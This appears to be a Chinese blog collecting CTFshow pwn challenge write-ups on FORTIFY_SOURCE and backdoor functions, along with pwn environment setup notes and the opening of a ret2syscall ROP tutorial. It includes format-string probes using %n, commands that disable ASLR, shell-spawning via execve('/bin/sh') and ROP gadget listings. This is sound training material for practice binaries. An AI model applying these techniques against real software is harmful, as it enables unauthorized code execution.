Hint：FORTIFY_SOURCE=0：禁用 Fortify 功能。不会进行任何额外的安全检查。可能导致潜在的安全漏洞。ssh ctfshow@pwn.challenge.ctf.show -p28177

FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制，旨在防止缓冲区溢出和其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码，用于增强程序对于缓冲区溢出和其他常见安全问题的防护。
FORTIFY_SOURCE 提供了以下主要功能：
1. 运行时长度检查：FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中，例如strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度，以确保操作不会导致溢出。如果检测到溢出情况，程序会立即终止，从而防止潜在的漏洞利用。
2. 缓冲区溢出检测：FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中，例如 memcpy、memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠，并防止潜在的缓冲区溢出。
3. 安全警告和错误报告：当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时，它会生成相应的警告和错误报告。
FORTIFY_SOURCE 提供了一层额外的安全保护，它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。
`**运行时检测到溢出会调用 abort() 终止程序，避免漏洞被利用。**`
printf、sprintf、fprintf等）的格式化字符串占位符:
1.%p：以十六进制形式输出指针（内存地址）的值，通常用于调试。
2.%n：不输出内容，而是将当前已输出的字符数写入对应的参数（指针）位置。
 变种：
%hn：写入 2 字节（short类型）。
%hhn：写入 1 字节（char类型）。
%ln：写入 8 字节（long类型，64 位系统）。
3.%2$x：输出第 2 个参数的值，以十六进制形式表示。
$：指定参数位置（1\(表示第1个参数，2\)表示第 2 个，依此类推）。
x：以小写十六进制输出。

$ ssh ctfshow@题目地址 -p题目端口号
...
ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接
$ ./pwnme aaaaaa bbbbb ccccc ddddd
* ************************************* 
* Classify: CTFshow --- PWN --- 入门
* Type  : Linux_Security_Mechanisms     
* Site  : https://ctf.show/    
* Hint  : FORTIFY 0 1 2   
* ************************************* 
aaaaaa CTFshowPWN
aaaaaa aaaaaa
aaaaaa
aaaaaa
The source code of these three programs is the same, and the results of turning on different levels of protection are understood

You should understand the role of these protections!But don't just get a flag
Here is your flag:

ctfshow{...}

分析过程：

checksec

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        PIE enabled

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __gid_t egid; // eax
  const char *v4; // rax
  int n; // eax
  int num; // [rsp+4h] [rbp-44h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

  egid = getegid();
  setresgid(egid, egid, egid);
  logo();
  v4 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v4;
  *(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
  buf1[10] = v4[10];
  strcpy(buf2, "CTFshowPWN");
  printf("%s %s\n", buf1, buf2);
  n = strtol(argv[3], 0, 10);
  memcpy(buf1, argv[2], n);
  strcpy(buf2, argv[1]);
  printf("%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  printf(buf1, &num);
  if ( argc > 4 )
    Undefined();
  return 0;
}

显然，第一题关闭了此保护，输入的argv1明显会导致buf1溢出，但是程序仍可以正常运行：

$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaaaa CTFshowPWN
a aaaaaaaaaaaa
%2$x
fbad2288

而在本题需要获取flag，仅仅需要关注到最后的Undefined函数：

.text:000000000000092A                 public Undefined
.text:000000000000092A Undefined       proc near               ; CODE XREF: main+117↓p
.text:000000000000092A
.text:000000000000092A flag            = byte ptr -48h
.text:000000000000092A
.text:000000000000092A ; __unwind {
.text:000000000000092A                 push    rbx
.text:000000000000092B                 sub     rsp, 40h
.text:000000000000092F                 lea     rdi, s          ; "The source code of these three programs"...
.text:0000000000000936                 call    _puts
.text:000000000000093B                 lea     rdi, aYouShouldUnder ; "You should understand the role of these"...
.text:0000000000000942                 call    _puts
.text:0000000000000947                 lea     rsi, modes      ; "r"
.text:000000000000094E                 lea     rdi, filename   ; "/ctfshow_flag"
.text:0000000000000955                 call    _fopen
.text:000000000000095A f = rax                                 ; FILE *
.text:000000000000095A                 test    f, f
.text:000000000000095D                 jz      short loc_980
.text:000000000000095F                 mov     rbx, rsp
.text:0000000000000962                 mov     rdx, f          ; stream
.text:0000000000000965                 mov     esi, 40h ; '@'  ; n
.text:000000000000096A                 mov     rdi, rbx        ; s
.text:000000000000096D                 call    _fgets
.text:0000000000000972                 mov     rdi, rbx        ; s
.text:0000000000000975                 call    _puts
.text:000000000000097A                 add     rsp, 40h
.text:000000000000097E                 pop     rbx
.text:000000000000097F                 retn
.text:0000000000000980 ; ---------------------------------------------------------------------------
.text:0000000000000980
.text:0000000000000980 loc_980:                                ; CODE XREF: Undefined+33↑j
.text:0000000000000980 f = rax                                 ; FILE *
.text:0000000000000980                 lea     rdi, aCtfshowFlagNoS ; "/ctfshow_flag: No such file or director"...
.text:0000000000000987                 call    _puts
.text:000000000000098C                 mov     edi, 0          ; status
.text:0000000000000991                 call    _exit
.text:0000000000000991 ; } // starts at 92A
.text:0000000000000991 Undefined       endp

同样的它将flag打开并打印出来

这里仅仅有一个判断你输入的参数是否大于4，当大于4时即可拿到flag

$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6 flag
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaaaa CTFshowPWN
a aaaaaaaaaaaa
%p
0x7fffffffe354
The source code of these three programs is the same, and the results of turning on different levels of protection are understood

You should understand the role of these protections!But don't just get a flag
Here is your flag:

flag{just_test_my_process}#本地flag

pwn33

Hint：FORTIFY_SOURCE=1：启用 Fortify 功能的基本级别。 在编译时进行一些安全检查，如缓冲区边界检查、格式化字符串检查等。在运行时进行某些检查，如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题，会触发运行时错误，并终止程序执行。
 ssh ctfshow@pwn.challenge.ctf.show -p28177

$ ssh ctfshow@题目地址 -p题目端口号
...
ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接
$ ./pwnme aaaaaaaa bbbbbbbb ccccccc 6 flag
* ************************************* 
* Classify: CTFshow --- PWN --- 入门
* Type  : Linux_Security_Mechanisms     
* Site  : https://ctf.show/    
* Hint  : FORTIFY 0 1 2   
* ************************************* 
aaaaaaaa CTFshowPWN
aaaaaaaa aaaaaaaa
flag
flag
The source code these three programs is the same, and the results of turning on different levels of protection are understood

You should understand the role of these protections!But don't just get a flag
Here is your flag:

ctfshow{...}

分析过程：

FORTIFY_SOURCE=1：

checksec

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        PIE enabled
  FORTIFY:    Enabled

可以看到现在检测到开启了FORTIFY保护了

IDA查看源码：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __gid_t egid; // eax
  const char *v4; // rax
  int v5; // eax
  int num; // [rsp+4h] [rbp-44h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-33h] BYREF

  egid = getegid();
  setresgid(egid, egid, egid);
  logo();
  v4 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v4;
  *(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
  buf1[10] = v4[10];
  strcpy(buf2, "CTFshowPWN");
  printf("%s %s\n", buf1, buf2);
  v5 = strtol(argv[3], 0, 10);
  __memcpy_chk(buf1, argv[2], v5, 11);
  __strcpy_chk(buf2, argv[1], 11);
  printf("%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  printf(buf1, &num);
  if ( argc > 4 )
    Undefined();
  return 0;
}

可以看到之前的一些危险函数已经被替换成了安全函数，并且在程序运行时进行检查，此时传入的

argv1就触发了检查，抛出异常。同时格式化字符串%2$x和%n依旧可用：

$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6

    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaa CTFshowPWN
bbbbbbaaa aaaaaaaaa
%n

$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaa CTFshowPWN
bbbbbbaaa aaaaaaaaa
%2$x
fbad2288

pwn34

Hint：FORTIFY_SOURCE=2：启用 Fortify 功能的高级级别。 包括基本级别的安全检查，并添加了更多的检查。在编译时进行更严格的检查，如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。
 ssh ctfshow@pwn.challenge.ctf.show -p28177

$ ssh ctfshow@题目地址 -p题目端口号
...
ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接
$ $ ./pwnme aaaaa bbbbb ccccc 6 flag
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaa CTFshowPWN
aaaaa aaaaa
flag
flag
The source code of these three programs is the same, and the results of turning on different levels of protection are understood

You should understand the role of these protections!But don't just get a flag
Here is your flag:

flag{just_test_my_process}

分析过程：

FORTIFY_SOURCE=2：

checksec

$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        PIE enabled
  FORTIFY:    Enabled
  Stripped:   No
  Debuginfo:  Yes

开启了FORTIFY保护，这次等级为2，在这无法体现出

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rax
  int v4; // eax
  int num; // [rsp+4h] [rbp-34h] BYREF
  char buf2[11]; // [rsp+Ah] [rbp-2Eh] BYREF
  char buf1[11]; // [rsp+15h] [rbp-23h] BYREF

  logo();
  v3 = argv[1];
  *(_QWORD *)buf1 = *(_QWORD *)v3;
  *(_WORD *)&buf1[8] = *((_WORD *)v3 + 4);
  buf1[10] = v3[10];
  strcpy(buf2, "CTFshowPWN");
  __printf_chk(1, "%s %s\n", buf1, buf2);
  v4 = strtol(argv[3], 0, 10);
  __memcpy_chk(buf1, argv[2], v4, 11);
  __strcpy_chk(buf2, argv[1], 11);
  __printf_chk(1, "%s %s\n", buf1, buf2);
  fgets(buf1, 11, _bss_start);
  __printf_chk(1, buf1, &num);
  Undefined();
  return 0;
}

在IDA中能看到将printf函数也替换成了安全函数，那么格式化字符串%n也无法利用了，而%N$也

要从%1$开始连续才可用：

$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaa CTFshowPWN
bbbbbbaaa aaaaaaaaa
%n
*** %n in writable segment detected ***
Aborted (core dumped)
$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaa CTFshowPWN
bbbbbbaaa aaaaaaaaa
%2$x
*** invalid %N$ use detected ***
Aborted (core dumped)
$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : FORTIFY 0 1 2
    * *************************************
aaaaaaaaa CTFshowPWN
bbbbbbaaa aaaaaaaaa
%2$x%1$x
25782432ffffe384
The source code of these three programs is the same, and the results of turning on different levels of protection are understood

You should understand the role of these protections!But don't just get a flag
Here is your flag:

flag{just_test_my_process}

Ubuntu18.04本地搭建环境

2025-07-09T04:00:00.000Z

1. 更新系统和安装基本依赖

首先确保系统是最新的，并安装必要的编译工具和依赖库：

sudo apt update && sudo apt upgrade -y
sudo apt install build-essential python3 python3-pip git gdb gdb-multiarch libc6-dbg libffi-dev libssl-dev

2. 安装 pwntools（Pwn 开发库）

pwntools 是 Python 编写的用于二进制漏洞利用开发的强大库，我们将在虚拟环境中安装它：

# 创建并激活 Python 虚拟环境
sudo apt-get install python3-venv
python3 -m venv pwn_env
source pwn_env/bin/activate

# 在虚拟环境中安装 pwntools
pip install --upgrade pip
pip install pwntools

3. 安装 pwndbg（GDB 增强工具）

cd ~
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

4. 配置 Pwn 环境（可选但推荐）

# 启用 ASLR（地址空间布局随机化）控制
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # 禁用 ASLR（用于调试）
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space  # 启用 ASLR（默认）

# 创建永久别名
echo "alias gdb='gdb -q'" >> ~/.bashrc  # 禁用 GDB 启动信息
echo "alias pwndbg='gdb -q -ex \"source ~/pwndbg/gdbinit.py\"'" >> ~/.bashrc  # 使用 pwndbg
source ~/.bashrc

5. 安装其他常用 Pwn 工具

# ROPgadget - 用于查找 ROP 链
pip install ropgadget

# one_gadget - 查找 libc 中的 one gadget
wget -O ruby-install-0.8.3.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.3.tar.gz
tar -xzvf ruby-install-0.8.3.tar.gz
cd ruby-install-0.8.3/
sudo make install
ruby-install ruby 3.1.0
echo 'export PATH="$HOME/.rubies/ruby-3.1.0/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
~/.rubies/ruby-3.1.0/bin/gem install one_gadget

# patchelf - 修改 ELF 文件
sudo apt install patchelf

# binwalk - 分析二进制文件
sudo apt install binwalk

# LibcSearch - 查找和分析 libc 库的工具
git clone https://github.com/lieanu/LibcSearcher.git 
cd LibcSearcher 
python3 setup.py develop

# ropper
# 安装依赖项capstone
pip3 install capstone
# 安装依赖项filebytes
pip3 install filebytes
# 拉取源代码
git clone https://github.com/sashs/ropper.git

乱七八糟编译环境

sudo dpkg --add-architecture i386
sudo apt install gawk
sudo apt install libc6-dbg  libc6-dbg:i386
sudo apt-get install links:i386
sudo apt-get install libstdc++6:i386 libgcc1:i386 zlib1g:i386 libncurses5:i386
sudo apt-get install gcc-multilib g++-multilib
sudo apt-get install libssl-dev libffi-dev build-essential

使用虚拟环境的注意事项

每次使用 Pwn 环境时，需要先激活虚拟环境：

source pwn_env/bin/activate

当完成工作后，可以使用以下命令退出虚拟环境：

deactivate

配置

2025-07-07T04:00:00.000Z

前置看环境搭建

sudo docker run -d \
-p 25000:22 \
--name=show_pwn \
--cap-add=SYS_PTRACE \
-v ~/Desktop/CTFshow_pwn:/CTFshow_pwn \
pwnenv_ubuntu24

sudo docker start show_pwn
sudo docker exec -w /CTFshow_pwn -e TERM=xterm-256color -u ubuntu -it show_pwn bash   #进入容器

关闭ALSR

rhea@rhea-VMware-Virtual-Platform:~$ sudo docker run -it --privileged --rm pwnenv_ubuntu24 /bin/bash
root@5c9e7214e2da:/# echo 0 > /proc/sys/kernel/randomize_va_space
root@5c9e7214e2da:/# cat /proc/sys/kernel/randomize_va_space

打开tmux

$ tmux new-session -d -s pwn_session
# 然后在tmux会话中运行你的脚本
$ tmux attach -t pwn_session
#`Ctrl + b` ，然后按 `[` 进入复制模式（此时可以上下滚动）

$ python3 exp.py
$ tmux ls #查看会话
$ tmux kill-session -t pwn_session #删除所有会话

pwn1-4

2025-07-07T04:00:00.000Z

声明：都是官方wp，只是加了我不懂的地方

pwn1

Hint：提供一个后门函数，连上即可得到flag

远程：
nc ip 端口
即可打通

本地：

checksec检查保护

$ chmod +x pwn
$ checksec  pwn
  Arch:     amd64-64-little
  RELRO:    Full RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      PIE enabled

64位仅关闭Canary保护

用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(s);
  puts(asc_950);
  puts(asc_9D0);
  puts(asc_A60);
  puts(asc_AF0);
  puts(asc_B78);
  puts(asc_C10);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Test                                                    ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : You only need to connect to the remote address with NC to get the flag!");
  puts("    * *************************************                           ");
  puts("I think now it is necessary to test whether your NC is useful!        ");
  system("cat /ctfshow_flag");
  return 0;
}

程序直接执行了后门函数

程序中执行的system函数里面的命令就是在shell中执行了此命令，因此

当远程环境的根目录中存在此文件就会直接将其读出来

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Test
    * Site  : https://ctf.show/
    * Hint  : You only need to connect to the remote address with NC to get the flag!
    * *************************************
I think now it is necessary to test whether your NC is useful!
cat: /ctfshow_flag: No such file or directory

在本地测试运行，根目录没有这个文件

可以尝试在根目录写一个与其文件名相同的文件进行测试

$ sudo bash -c "echo 'flag{just_test_my_process}'> /ctfshow_flag"   #通过 bash -c 让整个命令（包括重定向）在提升权限的 shell 中执行

再运行程序就能得到本地写入的flag值

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Test
    * Site  : https://ctf.show/
    * Hint  : You only need to connect to the remote address with NC to get the flag!
    * *************************************
I think now it is necessary to test whether your NC is useful!
flag{just_test_my_process}

pwn2

Hint：给你一个shell，这次需要你自己去获得flag

远程：
nc ip 端口

本地：

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:     amd64-64-little
  RELRO:    Full RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      PIE enabled

64位仅关闭Canary保护

用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo();
  puts(" Now, you can use 'cat /ctfshow_flag' to get flag! ");
  system("/bin/sh");
  return 0;
}

可以看到，程序依旧是非常的简单，但是这次system函数里面的字符串变成了“/bin/sh”，那么直接运行它会发生什么呢？

$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Nov 23  2023 /bin/sh -> dash

它指向dash

那system(“/bin/sh”);的工作原理又是什么呢？system()函数先fork一个子进程，在这个子进程中调用/bin/sh -c来执行command指定的命

令。/bin/sh在系统中一般是个软链接，指向dash或者bash等常用的shell，-c选项是告诉shell从字符串command中读取要执行的命令（shell将扩展command中的任何特殊字符）。父进程则调用waitpid()函数来为变成僵尸的子进程收尸，获得其结束状态，然后将这个结束状态返回给system()函数的调用者。那么也就是说执行完这个后它就会返回一个shell给函数的调用者：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Test
    * Site  : https://ctf.show/
    * Hint  : To give you a shell!
    * *************************************
 Now, you can use 'cat /ctfshow_flag' to get flag!
$ id
uid=1000(helloctfos) gid=1000(helloctfos) groups=1000(helloctfos),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(netdev),999(docker)
$ whoami
helloctfos
$ ls
$ cat /ctfshow_flag

也就达到了远程命令执行的效果了，读取flag只需要执行“cat /ctfshow_flag”命令即可,在做题过程中现在可以了解到：system(“cat /ctfshow_flag”);system(“/bin/sh”);这一类的我们称之为后门函数，再后续利用过程中我们要尽可能找到或者构造出来,后续会逐步完善。

pwn3

Hint：哪一个函数才能读取flag？

远程：
nc ip 端口

本地：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Test
    * Site  : https://ctf.show/
    * Hint  : Choice the right backdoor !
    * *************************************
[*] level up ! Let's go !
You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :

6
flag{just_test_my_process}

通过前面的分析，可以很明显的看出来选项”6”是所需要的后门函数，其他的均不会得到所想要的flag。但是很多时候它回显给你的并不一定是它一定就执行了此类，就是有可能是“虚晃一枪”，它回显给你说它执行了这个，但是实际上没有执行的情况，最终情况还得自己多进行分析。

checksec检查保护

$ chmod +x pwn
$ checksec  pwn
  Arch:     amd64-64-little
  RELRO:    Full RELRO
  Stack:    Canary found
  NX:       NX enabled
  PIE:      PIE enabled

64位,保护全开

用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）

int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char **envp_1; // rdx
  _BYTE argva[12]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&argva[4] = __readfsqword(0x28u);
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo();
  puts("[*] level up ! Let's go ! ");
  menu();
  puts("Your choice is :\n");
  __isoc99_scanf("%d", argva);
  switch ( *(_DWORD *)argva )
  {
    case 1:
      puts("start");
      break;
    case 2:
      main((int)"%d", (const char **)argva, envp_1);
      break;
    case 3:
      printf("Hello CTFshow");
      break;
    case 4:
      ctfshow();
      break;
    case 5:
      printf("/ctfshow_flag");
      break;
    case 6:
      system_func();
      break;
    case 7:
      puts("/ctfshow_flag");
      break;
    case 8:
      exit(0);
    default:
      puts("Invalid input");
      break;
  }
  return 0;
}

可以看到程序的流程还是很简单，先回显出一个字符串说难度升级，开始，然后有一个菜单，再让你输入选项，会进入对应的分支。跟进menu：

int menu()
{
  puts("You can call the following function:");
  puts("1._start");
  puts("2.main");
  puts("3.hello_ctfshow");
  puts("4.ctfshow('echo /ctfshow_flag')");
  puts("5.print('/ctfshow_flag')");
  puts("6.system('cat /ctfshow_flag')");
  puts("7.puts('/ctfshow_flag')");
  return puts("8.exit");
}

我们已经了解到后门函数是这里的选项6，我们首先就跟进看它是否执行了它：

int system_func()
{
  return system("cat /ctfshow_flag");
}

可以看到，确实是执行了。那么也就能得到需要的flag了。

pwn4

Hint: 或许需要先得到某个神秘字符

远程：
nc ip 端口

本地：

checksec检查保护

$ chmod +x pwn
$ checksec  pwn
  Arch:     amd64-64-little
  RELRO:    Full RELRO
  Stack:    Canary found
  NX:       NX enabled
  PIE:      PIE enabled

64位,保护全开

用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[11]; // [rsp+1h] [rbp-1Fh] BYREF
  char s2[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  strcpy(s1, "CTFshowPWN");
  logo();
  puts("find the secret !");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
    execve_func();
  return 0;
}

大致流程如下：

首先将字符串 “CTFshowPWN” 复制到 s1 变量中。

接着，使用 puts 函数输出字符串 “find the secret !”。

紧接着，通过 __isoc99_scanf 函数从用户输入中读取一个字符串到 s2 变量中。

最后，通过 strcmp 函数比较 s1 和 s2 的内容是否相同。如果相同，则调用 execve_func 函数。

跟进execve_func()：

unsigned __int64 execve_func()
{
  char *argv[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  argv[0] = "/bin/sh";
  argv[1] = 0;
  argv[2] = 0;
  execve("/bin/sh", argv, 0);
  return __readfsqword(0x28u) ^ v2;
}

可以看到将字符串 “/bin/sh” 赋值给 argv 变量。

然后，将 v2 和 v3 初始化为 0。

通过调用 execve 系统调用来执行 /bin/sh shell。

因此这里的execve_func也就是我们所谓的一个后门函数了

execve 本身并不是一个后门函数。实际上， execve 是一个标准的系统调用函数，用于在 Linux和类 Unix 系统中执行一个新的程序。它的原型如下：

int execve（const char *filename, char *const argv[], char *const envp[]);

该函数接受三个参数：

filename ：要执行的程序的文件名或路径。
argv ：一个以 NULL 结尾的字符串数组，表示传递给新程序的命令行参数。
envp ：一个以 NULL 结尾的字符串数组，表示新程序的环境变量。

当调用 execve 函数时，它会将当前进程替换为新程序的代码，并开始执行新程序。新程序接收idargv 和 envp 作为命令行参数和环境变量。

在加入某些参数后就可以达到我们所需要的后门函数的效果。

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Test
    * Site  : https://ctf.show/
    * Hint  : New backdoor !
    * *************************************
find the secret !
CTFshowPWN
$

因此，针对本题来讲，当输入“CTFshowPWN”后就能够得到所需要的shell了，进而就能拿到所需的flag。

Aura 酱的旅行日记 I <图寻擂台>

2025-07-05T09:00:00.000Z

链接: Aura 酱的旅行日记 I <图寻擂台>

识图一下，成都自然博物馆，后续的题



3-ret2syscall
2025-07-05T09:00:00.000Z
ret2syscall
原理
ret2syscall，即控制程序执行系统调用，获取 shell。
例1
继续以 bamboofox 中的 ret2syscall 为例。
点击下载: ret2syscall
首先检测程序开启的保护：
$ checksec ret2syscall
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
可以看出，源程序为 32 位，开启了 NX 保护。接下来利用 IDA 进行反编译：
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}
可以看出此次仍然是一个栈溢出。类似于之前的做法，我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获shell，所以我们利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。
简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell：
execve("/bin/sh",NULL,NULL)
其中，该程序是 32 位，所以我们需要使得
系统调用号，即 eax 应该为 0xb
第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
第二个参数，即 ecx 应该为 0
第三个参数，即 edx 应该为 0
而我们如何控制这些寄存器的值呢？这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法，我们可以使用 ropgadgets 这个工具。
首先，我们来寻找控制 eax 的 gadgets
$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
可以看到有上述几个都可以控制 eax，我选取第二个来作为 gadgets。
类似的，我们可以得到控制其它寄存器的 gadgets
$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
